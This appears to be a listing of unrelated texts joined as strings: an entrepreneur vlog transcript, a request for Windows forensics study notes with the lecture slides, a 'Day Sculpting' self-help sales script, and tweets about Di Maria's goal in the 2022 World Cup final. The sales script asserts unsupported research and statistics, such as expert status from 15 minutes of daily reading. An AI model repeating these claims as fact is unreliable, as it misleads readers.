do\nwithout having that mental cue\nthat i'm like only able to work four\nhours a day so if you can start to\ntrain your body to not be working all\nthese\nlong hours y'all we are not trying to be\nentrepreneurs to work forever\nlike throughout the whole day and\nthroughout the whole night and not get\nsleep and not\nyou know enjoy time with our families\nand friends so i\nchallenge you to learn how to implement\nfocused work into your work days\nand start small like don't try to work\nwithout any distractions for four hours\nstraight just don't because it will be a\nchallenge\nbut try to work for 30 minutes without\ndistractions you can set a timer on your\nphone\nand just say for 30 minutes i am not\ngoing to pick my phone up i'm not going\nto answer any calls\nor any emails or do anything that are\nfrivolous tasks that make me feel\nproductive but are actually not\npushing me toward the goal if you can do\nthat for\n30 minutes and build on that every day\nby 10 or 15 minutes\nuntil you can really start experiencing\nflow for a long time\nthen that is what you need to do okay\num so this year to boss up\nwe are channeling a deeper level of\nconcentration\nand workflow the next thing is to\naddress\nfears and to really be\nvulnerable with yourself on the fears\nthat you have and why you have those\nfears\nand i've talked about this in other\nvideos but it's\njust so important to acknowledge\nwhat could potentially be holding you\nback\nwhether that be you are nervous to have\nsomeone's life depending on you and\nthat's why\nyou aren't hiring anyone that was my\nfear for\nquite a while and it's still kind of a\nfear because i don't have any\nfull-time employees yet and so um\naddressing those things and figuring out\nlike okay why\nand then figuring out how can i combat\nthis fear like what action steps can i\ntake\nto increase my revenue consistently\nso that i don't have this fear anymore\num\nso those are things that\nwe have to really start addressing if\nyou are scared\nto quit your job or if you're scared to\nlaunch your new product\nor your new service really think about\nwhy you are scared and what that fear is\nrooted in\nso that way once you address it it\nalmost\nreleases it from you and then start\nthinking about\nthe action steps that you can take to\nmove past that fear okay so this leads\nperfectly into the next thing that we\nare doing to boss up this year\nwhich is to have more faith i think that\nfaith is\nsuch a big part of entrepreneurship and\njust being a boss over your life that\nnot enough people share and\nto just believe whether you believe in\ngod or\nwhatever your belief is like honestly\ntruly believing that you can do it\nand having that faith to carry you\nthrough those hard\ntimes that in itself also can help\nalleviate\nus from so many fears and just help us\nto\nbe content with who we are where we are\nand what our plans are to move forward\nthe next tip\nis being a part of a community that is\ngoing to be supportive of you\nas you are leveling up bossing up\nstarting your business expanding your\nbusiness growing your social media\nwhatever\nit is that you are trying to do to boss\nup and level up get around people who\nare like-minded because the last thing\nyou need\nis to be around some folks who do not\nbelieve in you and who are not there to\nspeak\nlife into you to help nurture your goals\nto help push you toward your vision to\nhelp support you\nto help call out your your flaws or your\nweaknesses to help you be better\nlike you need honest good solid people\naround you and\nthat can be hard to come by i started my\nebran club\nabout a year and a half ago for that\nvery reason because so many\nentrepreneurs\nand content creators were reaching out\nsaying like i\nneed support like my family is not\nsupportive of this my friends don't\nunderstand\nand i need somewhere to go and so\nthe e brand club is a safe space for\nentrepreneurs to express\nconcerns to ask questions\nand we do weekly live lessons on\nbuilding your brand\nbuilding your business we bring some\nawesome masterclass speakers in\nwho just share a wealth of information\nso if you\nare an entrepreneur a side hustler or a\ncontent creator who is looking for\na community of support but also a lot of\nresources and a lot of knowledge\nfrom our q a to our lessons to our\nsocial media audits\nwe really pack the club with a lot of\ngreat information\nbut really the best part is the\ncommunity so if that is something that\nyou are interested in the e-brand club\ninformation will be\nlinked down below we do have\ntemporary enrollment periods so it will\nnot always be open for enrollment but\ni on the website there will either be a\nwaitlist or if enrollment is open\nyou can go on there and enroll and join\nthe club so\nthat is for anyone who really wants to\nbe a part of a group of supportive\nentrepreneurs who are all leveling up\nand are ready to take charge of\ntheir lives and just you know boss up\nokay\nso those are how we are bossing up in\n2021\nthese are things i'm doing and i really\nhope that you join along with me to do\nthe same\ny'all it is going to be a heck of\na year i'm so excited i'm so excited and\nif you enjoyed this video\nplease turn on your notifications i\nalways upload on this channel about\nentrepreneurship\ni do a lot of day in the life of an\nentrepreneur\nvideos and also branding and business\nvideos\nfrom my experiences as an entrepreneur\nso i would love to have you a part of\nthe fam\nif that sounds like your gym all you got\nto do is subscribe and i will see you on\nthe next one\npeace" +'I am having an exam can you write for me a syudy notes that brief everything ?\nCH3- Windows Forensics\nPrepared By,\nArun Kumar R\n3.1 Volatile Information\n• Volatile information is information that is lost the moment a\nsystem is powered down or loses power.\n• Usually exists in physical memory, or RAM.\n• Consists information about processes, network connections, open\nfiles, clipboard contents etc.\n• One of the first things investigators should collect is the contents of\nRAM.\n3.1 Volatile Information\nSome of the specific types of volatile information that investigators\nshould collect:\na. System time\nb. Logged-on user(s)\nc. Open files\nd. Network information\ne. Network connections\nf. Process information\ng. Process-to-port mapping\n3.1 Volatile Information\nh. Network status\ni. Clipboard contents\nj. Service/driver information\nk. Command history\nl. Mapped drives\nm. Shares\n3.1 Volatile Information\na) System time\n▪ First piece of information-system time\n▪ Establish an accurate timeline of events\n▪ date/t and time/t commands\nb) Logged-on Users\n▪ Investigator needs to find out which users are logged on to the\nsystem (Ex: PsLoggedOn)\n3.1 Volatile Information\nc) Open Files\n▪ If there are users logged into a system remotely, investigators\nshould also see what files they have open(PsFile)\nd) Network Information\n▪ Should collect information regarding network connections to\nand from the affected system\nEx: C:\\> Netstat\n3.1 Volatile Information\ne) Process Information\n▪ A process is a section or instance of an application or program\nthat is being run sequentially.\n▪ Viewing the running processes in the Task Manager\n▪ Following are the types of information :\n• The full path to the executable image (.exe file)\n• The command line used to launch the process, if any\n• The amount of time that the process has been running\n• The security/user context that the process is running\n• The memory contents of the process\n3.1 Volatile Information\nf) Process-to-port Mapping\n▪ A port is a logical connection that allows data to be sent from\none application to another directly\nEx: Netstat -o\ng) Network Status\n▪ Information about the status of the network interface cards\n(NICs) connected to a system\nEx: ipconfig /all\n3.1 Volatile Information\nh) Clipboard Contents\n▪ Clipboard is simply an area of memory where data can be stored\nfor later use\n▪ Windows applications provide this functionality through the Edit\noption on the menu bar.\n▪ Clicking Edit reveals a drop-down menu with choices like Cut,\nCopy, and Paste. Win + V\n3.1 Volatile Information\ni) Service/Driver Information\n▪ A driver is a small program that allows a computer system to\ncommunicate with a hardware device.\n▪ A service is a non interactive program that helps the operating\nsystem and applications perform their tasks.\nj) Command History\n▪ Investigator can use the doskey /history command\n▪ show the complete history of the commands typed into that\nprompt.\n3.1 Volatile Information\nk) Mapped Drives\n▪ What drives or shares the system under investigation has\nmapped to.\n▪ Mappings could have been created by the user, and they might\nbe an indication of malicious intent.\nl) Shares\n▪ Information about shares available on a system is maintained in\nHKEY\\_LOCAL\\_MACHINE\\System\\CurrentControlSet\\Services\\lan\nmanserver\\Shares key\n3.2 Non Volatile\nInformation\n• Nonvolatile information is kept on secondary storage devices and\npersists after a system is powered down\n• Nonperishable and can be collected after the volatile information is\ncollected\na. Hidden files\nb. Slack space\nc. Swap files\nd. Index.dat files\ne. Metadata\nf. Hidden ADS (alternate data streams)\n3.2 Non Volatile\nInformation\ng. Windows Search index\nh. Unallocated clusters\ni. Unused partitions\nj. Hidden partitions\nk. Registry settings\nl. Connected devices\nm. Event logs\n3.2 Non Volatile\nInformation\na. Examining File Systems\ndir /o:d\n▪ The time and date of the installation of the operating system\n▪ The service packs, patches, and subdirectories that\nautomatically update themselves often\nb. Registry Settings\nWin+R→regedit→HKEY\\_LOCAL\\_MACHINE\\System\\CurrentCon\ntrolSet\\Control\\FileSystem\n3.2 Non Volatile\nInformation\nc. Event Logs\n• Event logs are stored in files within the file system\nC:\\PSTOOLS>psloglist --retrieve the event records\nd. Index.dat file\n• Internet Explorer Web browser uses index.dat files as a database\nthat is active as long as a user is logged on in Windows.\n• Repository of redundant information, such as visited URLs, search\nqueries, recently opened files, and form AutoComplete information\n3.2 Non Volatile\nInformation\ne. Connected Devices\n▪ Investigator may want to document what devices are connected to\na system he or she is investigating.\n▪ Can use DevCon, available from Microsoft.\nf. Slack Space\n▪ Space between the end of a file and the end of the disk cluster it is\nstored in is called the slack space.\n▪ Examine slack space because it may contain meaningful data.\n3.2 Non Volatile\nInformation\nf. Slack Space(contd..)\n1. Connect to the target computer and select the media.\n2. Create a bit-level copy of the original media.\n3. Verify the copy by generating its hash value.\n4. Investigate using keyword searches, hash analysis, and file signature\nanalysis using a tool such as EnCase.\n3.2 Non Volatile\nInformation\ng. Swap File\n▪ A swap file is a space on a hard disk used as the virtual memory\nextension of a computer’s real memory (RAM).\n• HKEY\\_LOCAL\\_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Sessio\nn Manager\\Memory Management.\nh. Windows Search Index\n▪ Maintains a record of any document or application on a PC,\nincluding the contents of these files.\n-Creation and modification dates -Author\n-E-mail recipients -Content summaries\n3.2 Non Volatile\nInformation\ni. Hidden Partition\n▪ a logical section of a disk that is not accessible to the operating\nsystem.\n▪ Can use a tool such as Partition Logic to collect the information\nfrom the hidden partition.\nj. Hidden ADS\n▪ Through alternate data stream (ADS), users can hide data\n▪ notepad visible.txt:hidden.txt at a command prompt\n3.3 Inside Windows\nRegistry\n• Each of the hives in the Windows registry plays an important role in\nthe functioning of the system\n• HKEY\\_USERS hive contains all the actively loaded user profiles for\nthat system.\n• HKEY\\_CURRENT\\_USER is the active, loaded user profile for the\ncurrently logged-on user.\n• HKEY\\_LOCAL\\_MACHINE hive contains hardware settings and\nsoftware settings.\n3.3 Inside Windows\nRegistry\n• HKEY\\_CURRENT\\_CONFIG hive contains the hardware profile the\nsystem uses at startup.\n• HKEY\\_CLASSES\\_ROOT hive contains which application is used to\nopen various files on the system.\nRegistry Structure Within a Hive File\n• Key cell: registry key-information and includes offsets to other cells\nas well as the LastWrite time for the key (signature: kn).\n• Value cell: holds a value and its data (signature: kv).\n• Subkey list cell: a series of indexes (or offsets) pointing to key cells;\n3.3 Inside Windows\nRegistry\n• Value list cell: series of indexes (or offsets) pointing to value\ncells;\n• Security descriptor cell: contains security descriptor\ninformation for a key cell (signature: ks).\n3.4 Cache, Cookie, and\nHistory Analysis in IE\n• A cache is a place to store something temporarily.\n• When the user returns to a page he or she recently looked at, the\nbrowser can get it from the cache\n• Rather than the original server, saving time and decreasing network\ntraffic.\n• A cookie is information that a Web site puts on a user’s hard disk\n• So that the user’s system can remember something about the site\nat a later time.\n• C:\\Documents and Settings\\\\Local Settings\\Temporary\nInternet Files\\Content.IE5\\\n• Stores all IE activities of a user, included cached pages and images\n3.5 Cache, Cookie, and\nHistory Analysis\nin Mozilla, Firefox, and Netscape\n• Mozilla, Firefox, and Netscape save Web activity in an ASCII file\nnamed history.dat.\n• Firefox files are located in the following directory:\n\\Documents and Settings\\\\Application\nData\\Mozilla\\Firefox\\Profiles\\.\n• Mozilla and Netscape files are located in the following directory:\n\\Documents and Settings\\\\Application\nData\\Mozilla\\Profiles\\\\.\nEx Tools: IECacheView, IECookieAnalysis etc..\n3.6 MD5 Calculation\n• Message-Digest algorithm 5 (MD5) was designed by Ron Rivest in\n1991.\n• cryptographic hash function-128-bit hash value.\n• To check the integrity of files.\nMD5 Algorithm\n• MD5 processes a variable-length message into a fixed-length output\nof 128 bits.\n• The input message is broken up into chunks of 512-bit blocks\n(sixteen 32-bit little-endian integers);\n• The message is padded so that its length is divisible by 512.\n3.6 MD5 Calculation\nThe padding is done as follows:\n• First, a single bit, 1, is appended to the end of the message.\n• Many zeros as are required to bring the length of the message up to\n64 bits fewer than a multiple of 512.\n• The remaining bits are filled up with a 64-bit integer representing\nthe length of the original message, in bits.\nEx Tools: https://www.md5hashgenerator.com/\nChaos MD5\n3.7 Recycle Bin\n• Forensic investigators are aware of the old adage that when a file is\ndeleted, it is not really gone.\n• true with the advent of the Recycle Bin on the Windows desktop.\n• The Recycle Bin allows user to retrieve and restore files that have\nbeen deleted.\n• As a user on a system begins to delete files through the shell, a\nsubdirectory is created for that user within the Recycler directory;\n• That subdirectory is named with the user’s security identifier,\nC:\\RECYCLER\\S-1-5-21-1454471165-630328440-725345543-1003\n3.8 Prefetch Files\n• For boot prefetching, the Cache Manager monitors hard page faults\nand soft page faults.\n• Monitors through the first 2 minutes of the boot process.\n• Fault data is processed along with references to files and directories\nthat are accessed\n• During application prefetching, the Cache Manager monitors the\nfirst 10 seconds after a process is started\nHKEY\\_LOCAL\\_MACHINE\\SYSTEM\\ControlSet00x\\Control\\Session\nManager\\Memory Management\\PrefetchParameters\n3.9 Shortcut Files\n• Shortcuts are files with the extension .lnk that are created and are\naccessed by users\n• Users can create shortcuts to applications, documents, folders,\nremovable storage devices, and network shares.\n• AccessData’s Forensic Toolkit (FTK), Windows File Analyzer (WFA),\nand EnCase provide the ability to parse the contents of shortcut\nfiles to reveal information embedded within the files.\n3.10 Word Documents\n• Compound documents, based on Object Linking and Embedding\n(OLE) technology.\n• Word documents can contain quite a bit of additional information\nthat is not visible to the user.\n• Can maintain list of up to the last 10 authors to edit the file.\n• Information disclosure risk to individuals and organizations.\n• Investigator can use Perl scripts wmd.pl and oledmp.pl to list the\nOLE streams embedded in a Word document.\n3.11 PDF Documents\n• Can also contain metadata such as\n– The name of the author,\n– The date that the file was created\n– The application used to create the PDF file.\n• The metadata can show that the PDF file was created on a Mac or\nby converting a Word document to PDF format.\n• This metadata can pose a risk of information disclosure.\n• Can use the Perl scripts pdfmeta.pl and pdfdmp.pl to extract\nmetadata from PDF files\n3.12 Graphics Files\n• The metadata present in a JPEG image file depends largely on the\napplication that created or modified it.\n• Digital cameras embed exchangeable image file format (Exif)\ninformation in images\n• Can include the model and manufacturer of the camera, and can\neven store thumbnails or audio information\n• Tools such as Exifer, IrfanView, and the Image::MetaData::JPEG\nPerl module allow an investigator to view, retrieve, and in some\ncases modify the metadata\n3.13 File Signature Analysis\n• Investigator can analyze files with unusual extensions or files with\nfamiliar extensions that are in unusual locations.\n• Determine the nature of these files and to gain some insight into an\nattacker’s technical abilities.\n• Collecting information from the first 20 bytes of a file and looking\nfor a specific signature or “magic number”\n• ProDiscover allow an investigator to readily perform file signature\nanalysis\n3.14 NTFS\nAlternate Data Streams\n• Feature of the NTFS file system.\n• To support the Hierarchal File System (HFS) used by the Macintosh\nCreating ADSs\nnotepad myfile.txt:ads.txt\n– Add some text to the Notepad window, save the file, and then\nclose Notepad.\nEnumerating ADSs\n– Lads.exe is another tool that a user can use to list ADSs and can\nbe run against any directory.\nRemoving ADSs\n– simply delete the file to which the ADS is attached\n3.15 Metadata\n• Metadata is data about data, or more simply, embedded electronic\ndata not necessarily seen on a printed document.\n• various characteristics of data, including when and by whom it was\ncreated, accessed, or modified.\n• The following are some examples of metadata:\n– Organization name\n– Author name\n– Computer name\n– Network name\n– Hidden text or cells\n– Document versions\n– Template information\n3.15 Metadata\nTypes of Metadata\nType Description Sample Element\nDescriptive\nmetadata\nDescribes and identifies\ninformation resources\nUnique identifiers, physical\nattributes,\nbibliographic attributes\nStructural\nmetadata\nProvides information about the\ninternal structure of resources\nTags such as title page, table of\ncontents, chapters, parts, errata,\nindex\nAdministrative\nmetadata\nIncludes technical data on\ncreation and quality control\nResolution, bit depth, color space,\nfile format, compression, light\nsource, owner, copyright date,\ncopying and distribution limitations\n3.15 Metadata\nMetadata in Different File Systems\n• Metadata about files on Windows systems are the file MAC times\n• MAC-Modified, Accessed, and Created\n• FAT file system, times are stored based on the local time of the\ncomputer system\n• NTFS file system stores MAC times in Coordinated Universal Time\n(UTC) format, which is analogous to Greenwich Mean Time (GMT).\n3.15 Metadata\nViewing Metadata\n• Investigator can view some metadata by using the application that\ncreated the file\n• For instance, the investigator can look at the file properties\nThe tools investigators can use:\n• Metaviewer\n• Metadata Analyzer\n• iScrub\nEnd of Chapter-3' +'Here is the final part. Part 3\n---\n\nHere we will be showing how the principles and practices we’ve covered so far converge into one over-arching result that will benefit you for the rest of your life. You can think of it as flipping a switch that changes how you create new results in life one day at a time. This is at the very core of what we call Day Sculpting. \nThe simplest way to think of it is that most of the way we live is habitual. You have an habitual way of brushing your teeth, walking, talking to yourself and others, eating, working. Habits are wonderful…they make life easy but they also limit you. For example, if you have a habit of eating too much, you’ll put on weight. Not instantly, but steadily, day by day, until one day you have a weight problem. If you try to change your weight quickly through a trendy new diet, research shows that the weight is likely to come back, and then some, within a few short months, because the habits required to live at your ideal weight have not been properly established. \nHabits are habits because you don’t think about them, they happen nonconsciously. If you want a change in your life, you have to embody the change at a nonconscious level, so that the habits keeping your life the way it is today begin to shift.\nWouldn’t it be great if there was a switch in the brain that would move you from status quo to status GO!? This is a switch that once you flip it will produce the result you want, if you are willing to commit to and stay with the process.Day Sculpting is your guide to fully realizing the success you are ready to enjoy.\nA critically important capacity of the human mind called preconscious processing. This is the ability of the mind to receive information, beneath our conscious awareness, and act upon it without even knowing that it is happening. Used correctly, this is an amazing power. Used improperly, it will sabotage your best efforts and make life extremely difficult.\nMost of us think we are running the show with our conscious awareness, consciously choosing our thoughts, behaviors, and emotions and consequently, we believe are able to choose the results we create in life. However, what neuro-science research shows, is that we all have a vast nonconscious mind that is really running the show most of the time. That deeper part of us, in charge of our habitual thinking, feeling, and behaving is always operating in our best interest. But it does so using information that may be faulty or outdated. If you continue to feed it information that doesn’t serve you, it will continue to habitually bring results that are less than desired.\nYour preconscious processor is constantly routing new information directly into this larger database that your mind uses to create new behaviors. Your job is to place the right information into this database every single day, so that it can draw upon this new data and create new results. It requires your vigilance and purposeful intention on a daily basis. Day Sculpting is the process to accomplish exactly that, getting you to focus one day at a time on what you are trying to create in your life today, and the future you truly desire. \nA lot of experts in the human development field teach information and then expect it will translate into new behaviors automatically. But as we’ve pointed out, and as you’ve probably experienced, consciously knowing something and having the nonconscious mind put it into a new behavior, are two entirely different processes. What we are sharing with you is how to bridge that gap. This is precisely why so many experts in the field are recommending Day Sculpting to their clients, to help them use momentum mindsets on a daily basis and apply the good information they teach. \nWe talk about The The Solutions Focus process . Try it out: \nThink of an area of your life in which you are actively attempting to create different results. Imagine your chief aim regarding this area of your life as a perfect future. Now imagine a scale from one to ten, where ten is the perfect future and one is that you have not even started thinking about your chief aim. On this imaginary scale from 1 to 10, where would you place yourself right now?\nGo ahead and imagine where would you place yourself right now on that scale, where ten is your perfect future.\nWhatever number you came up with is fine. Whether it was 3 or 7, whatever you came up with I’ll always ask the same next question. “Why so high and not lower?”\nLet’s say, for example that you came up with a three. Asking the question “Why so High” catches the mind off guard. Most people expect, “Only a 3! Why so low?” If I had asked that what would you come up with? All the reasons why things aren’t working, who is to blame, problems, excuses, lack, limitations, and so on. \nBut when I ask “Why so high?” the brain immediately begins to sort for all of the things that are working for you, everything that has brought you up to a “three.” If you said you are at a seven on a scale of one to ten, the same question applies: “Why so high and not lower?”\nThe next step in solutions focus is equally powerful. “Think about what you can do today to move you one point up that scale—for example, from a three to a four, or from a seven to an eight?” When you ask this, your mind instantaneously starts generating ideas and options to answer your question. You quickly realize you can do more of the things that work, right? And if you are doing things that aren’t working, you now have the insight into how you can do things differently. \nThis solutions focus approach provides quick insight into how to move things forward in areas you may have been stuck or working on unsuccessfully. It is a brilliant way to access more of your nonconscious database and facilitate discovering resources you did not know were there. \nSo as you can see, this video has been centered on connecting the dots and providing you with the insights on how you can flip the switch in your brain and how you can create your life one day at a time in the most powerful way possible. \nYou must contact that inner part of you that is in charge of your habitual ways of thinking, feeling, and behaving in order to re-sculpt yourself.\nThis is a unique psychological principle called anchoring. In the research this is also called behavioral conditioning, and as we’ve called it, the law of reinforcement…which says you get more of what you reinforce. When you want to reinforce a positive new behavior, you anchor it in a positive new momentum mindset. As you do this on a daily basis, you are literally training your mind, conditioning your thoughts, amplifying positive feelings and emotions to live into a future state that you are anchoring in your daily experience. \nDay Sculpting goes beyond personal development. It takes whatever it is you are currently learning and makes it possible for you to embody, apply and enjoy the benefits you are committed to achieve. \n\nThe last thing anyone needs is more stuff to do. What we need is that everything we do gets us the results we are going for. In essence what’s needed is a system that will streamline our efforts so we accomplish our chief aims in less time.\n\nMichaelangelo said the process of sculpting is to remove what’s not supposed to be there. He had the mindset that the finished sculpture already existed in the marble and he just had to reveal it. In the same way your destiny already resides in you. You just need to clear a path for it to emerge.\n\nWe all have 24 hours in a day. So why do some people consistently have great days while others are up and down and stay stuck in mediocrity? It’s a disciplined habit of how you approach everyday. Day Sculpting takes the same 24 hours that we all have and helps clarify your choices so that your actions reveal your highest destiny. \n\nIt is a quick, easy and effortless way that supports and empowers your efforts in achieving your chief aims. It creates the mindsets necessary to have successful days, weeks, months and years.\n\nDay Sculpting is a 90- day program designed to empower you to create your life ONE DAY AT A TIME. By committing 30 minutes each day to create what you want that day. \n\nWe believe that when you focus your actions one day at a time the results you get become measurable and achievable. Your energy is committed to channeling your efforts so you create a confident groove in your mind that empowers your habitual actions to create what you really want.\n\nThis daily program is broken down into 3 MANAGEABLE, SIMPLE AND EASY STEPS. 15 minutes in the morning, 5 minutes midday and 10 minutes at night. \n\nDay Sculpting…It’s designed so that the way you start your day creates the momentum that carries you throughout your day. \n\nAnd finally research has shown that the best time to integrate what you’ve learned in your day and to set yourself up for success tomorrow is before you go to sleep. The Nighttime Review process takes just 10 minutes, which is less time then it takes to take a shower or to take your dog on an evening walk.\n\nWe already have enough complexity in life…don’t we? We don’t want you working harder we want you thinking smarter! So that the success you achieve is more effortless. \n\nSo what does it take for someone to accomplish the high level results we are talking about?\n\n• First you have to wake up and be totally jazzed about the day\n• You have to be inspired to do your best\n• You have to be focused on creating what you truly desire\n• You got to get to it, stay on it, and be in the energy of it before your distractions take over. \n• And if distractions takeover you have to quickly get back on track.\n• You have to learn from what’s working and what’s not\n• You have to be able to listen to feedback and course correct during your day\n• And at the end of the day you have be able to feel you did your best and you can do even better tomorrow\n\nAnd with Day Sculpting you can accomplish this and more in less than 30 minutes which is distributed throughout your day. Most people will give up on their dreams after they have tried something only 3 times because they didn’t get instant gratification. \n\nThere are no magic bullets here. You are investing in a future YOU desire. \n\nDay Sculpting gives you the opportunity everyday to purposefully stay in the energy of what you want to create the benefit to you being a more empowered mindset that inspires passionate action and a willingness to breakthrough any barriers that may have held you back in the past so you fully embody the life you choose to live.\n\nYou may have heard Gandhi say “Be the change you want to see in the world.” Well now you can. \n\nYears ago I heard a statistic that blew me away. If you read in a single subject of your choice for 15 minutes a day 5 days a week you would become one of the leading experts in the world in that subject within 3 years…\n\nMore recent research has demonstrated that world class talent requires 10000 hours and 10 years to develop…\n\nSo the question is how does somebody create this kind of commitment and persistence? Clearly one day at a time.\n\nSo where are you not following through in your life? How would you like to do things differently? What can you do shift your energy when you say I can’t get it done or you procrastinate? What’s it going to take for you to say I’ve had enough it’s time for me to do something different? Where will you get the support you need to build the confidence to stay on track?\n\nEach day you get these elements to help guide you… \n- The Good Morning Great Day Email\n- The Morning In Vision Video \n- The Morning Future Pacing Visualization\n- The Morning Success Journal Process\n- The Midday SMS and Computer Stay on Track Reminders\n- The Midday Reconnect Refresher Mediation\n- The Evening Review And Renew Process\n- The Evening Journal Process\n- The Bedtime Nonconcious Mind Question Declaration\n \nWhen you put this together it can’t help but become a daily practice that will create your new daily ritual that is your roadmap to success. We are giving you the daily steps that will create your momentum mindsets.\n\nThe Day Sculpting program leaves you no wiggle room. The days of “I’ll get to it later” are gone. When you are serious about changing your life, you now have a realistic opportunity to do so with this program. \n\nWE invite you to fully commit to your life. To once and for all follow through and step up. To say yes to that dream inside of you and to look at each day as an opportunity to live your dreams enthusiastically rather than settling for more of the same old same old.\n---' +"sourceText Time\nDi Maria scores the second goal for Argentina. 15:36:48.0000000\nArgentinaaaaaaaaaaa ???? What A GOAL!!!!!! Angel Di Maria you beautyyyyyy #FIFAWorldCup #ArgentinaVsFrance 15:36:41.0000000\n35' GOAL ?''Di Maria gets Argentina's second and France are torn apart on the counterattack!''#ARG 2-0 #FRA ''#FIFAWorldCup | #Qatar2022 https://t.co/xQHVZ64vXA 15:36:57.0000000\n2-0 for Argentina what a Goal!! Di Maria 15:36:52.0000000\nSecond goal by Di Maria. Herhhh. Defending champions paaaaaaaaaa and they're suffering like this? ??'#ArgentinaVsFrance 15:36:36.0000000\nDi Maria! What a goal from Argentina ????????''Game over. 15:36:13.0000000\nDi Maria ayyyyyyy mannnnnnnnn what a goal #ArgentinaVsFrance #arg 15:36:41.0000000\nDi Maria Goal! But it's FIFA that scored as some will say ??????'#Messi #ArgentinaVsFrance #FIFAWorldCup 15:36:49.0000000\nFantastic goal by Argentina, Di Maria very cool finish! #FIFAWorldCupFinal #ArgentinaVsFrance 15:36:59.0000000\nDi Maria deserves a goal.'Brilliant! #ArgentinaVsFrance 15:36:44.0000000\nGr8 goal #messi & Di Maria off injury is the difference! https://t.co/ScHjETYn4K 15:34:47.0000000\nDi maria, what a goal from argentina there. Taking the baguettes apart crumb by crumb. 15:36:14.0000000\nBrilliant goal, Di Maria is that guy for Argentina 15:36:25.0000000\nBeautiful goal Di Maria #ArgentinaVsFrance #WorldCup 15:36:38.0000000\nWhat a counter attacking goal. ''Di Maria...#ArgentinaVsFrance 15:36:44.0000000\n#ARGFRA DI MARIAAAAAAAAAAAAAAAAAAAAAAA WHAT A FUCKING GOAL THAT WAS 15:36:18.0000000\nThat flick by Messi for the Di Maria goal, a thing of beauty #ArgentinaVsFrance #WorldCupFinal #Qatar2022 15:36:25.0000000\nARGENTINA GOAL: Argentina catch France on the counter and Di Maria doubles the former’s advantage.''#ARG 2-0 #FRA #ARGFRA #WorldCupFinal 15:36:37.0000000\nThat Di Maria goal is pretty special. #ArgentinaVsFrance #WorldCup 15:36:48.0000000\nDi Mariaaaaaaaa!!!!!!!!!! What a goal ! #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nThat is just brilliant from Argentina 2-0 #ArgentinaVsFrance #Qatar2022 terrific team goal. Starting Di Maria a genius move 15:36:57.0000000\nGoal for Di Maria. 2-0 #ArgentinaVsFrance #FIFAWorldCup 15:36:36.0000000\nWhat is going on with France ????, they play so bad. Good goal of Di Maria 15:36:21.0000000\nWhat a Goal De Maria ?????????'2-0 ??'#Arg'#WorldCupFinal 15:36:34.0000000\nDi Maria who won the penalty scores second goal on the break for Argentina 15:36:43.0000000\nWell that DI MARIA goal is much more worthy. VAMOS ARGENTINA 15:36:43.0000000\n36’ GOAL! DI MARIA ON THE COUNTER ATTACK! #FIFAWorldCup''Argentina 2-0 France 15:36:00.0000000\nArgentina scores from a counter, what a goal ! ''Di Maria scores''2 - 0 15:36:55.0000000\nDI MARIA WHAT A GOAL ( I still fucking hate Argentina 15:36:23.0000000\nIdk looks like Argentina is just better so far. It’s not even just Messi! What a goal from De Maria!! Amazing teamwork that started from the back and led to a goal 15:36:51.0000000\nWhat a counter and goal. Di Maria make it 2-0 wow! #WorldCupFinal 15:36:32.0000000\nWhat a goal on the counter that is! Argentina have been so good here! Brilliant from Mac Allister and what a finish from Di Maria! ?? #ARGFRA #FIFAWorldCup 15:36:56.0000000\nThis Di Maria goal was like a wonderfully written poem .''#ARGFRA 15:36:33.0000000\nDi maria scored. Argentina leading by 2 goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nGoal Argentina''What a build up'Di Maria gets Argentina's second'Arg 2-0 FRA'#FIFAWorldCup 15:36:57.0000000\nWhat a goal, Argentina is all over em. 2-1. Di Maria’s involvement this game has been magical. 15:35:58.0000000\nArgentina 2-0. Di Maria. A magnificent goal on the break. 15:35:45.0000000\nDI MARIA! GOAL! FRANCE IS COOKED! 15:36:02.0000000\nBrilliant Argentina goal that 2-0 Di Maria''One touch. Macalister running the game 15:36:30.0000000\nANGEL DI MARIA!!!!!!!! WHAT ABTEAM GOAL THAT WAS, 2-0 ARGENTINA!!!!!! 15:36:18.0000000\nArgentina properly blowing France away, Angel di Maria has been the best player on the pitch by miles and he’s deservedly got a goal to show for it. 2-0 Argentina 15:36:59.0000000\nArgentina looking like they want it more. Great goal Di Maria 15:36:11.0000000\nArgentina scores their first goal in 2022 world cup final. Di Maria?? 15:36:28.0000000\n2-0 ARGENTINA!!!!! DI MARIA!!!!! WONDERFUL TEAM GOAL!!!! 15:36:02.0000000\nGoal for Argentina ??'Argentina 2:0 France ????'??36’ Di Maria ''#EIBQATAR2022 https://t.co/kNI4ODuxg6 15:36:39.0000000\nWhat a lovely goal from Argentina and, they are going to steamroller France at this rate. ''Di Maria has had a tremendous first half and should get the Man of the Match award. 15:36:53.0000000\nDi Maria bags his another goal for Argentina. France are being ripped apart here 15:36:12.0000000\nDi Maria scores the 2nd goal for Argentina.???? France have not turned up in this first half at all.???? #Qatar2022 #ARGFRA 15:36:50.0000000\nMagnificent goal Argentina. Sweeping and brilliant counter attack finished by Di Maria. Assist for Brighton's Mac Allister 15:36:50.0000000\n35' GOAL! #ARG 2-0 #FRA ''Angel Di Maria finishes off a glorious counter-attack to double Argentina's lead! #FIFAWorldCup 15:36:51.0000000\nThat was a just goal! Di Maria is really good right now #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nWow what a goal. 2-0, Di Maria and game over imo cos France are shite so far. Need a response before half time otherwise its gone. #ArgentinaVsFrance #FIFAWorldCupFinal 15:36:36.0000000\nGOAL! ARGENTINA 2-0 France''IT'S DI MARIA WITH A SENSATIONAL GOAL! ''https://t.co/wtEfL70MU4 #FIFAWorldCup https://t.co/x8w76dNag2 15:36:27.0000000\n@remnantvault That goal Di Mar?a just scored proves otherwise. We don't need charity. France has been busy trying to prevent us from scoring rather than trying to score themselves too. 15:36:52.0000000\nLionel Messi assist! Di Maria’s goal! Football heritage! 15:36:53.0000000\nDI MARIA ???????????????? what an amazing build up for that goal 2-0 Argentina 15:36:07.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nDI MARIAAAAAAAA'WHAT A TEAM GOAL'WHAT ARE WE WITNESSING HERE!!!!!'#ArgentinaVsFrance 15:36:16.0000000\n??ARGENTINA DOUBLE THEIR LEAD??''GOAL: Di Maria 35‘ ??????'2-0 15:35:51.0000000\nArgentina 2 : France 0'#worldcup '#WorldCup2022 'Goal by Di Maria 15:36:48.0000000\nGOAL 2-0 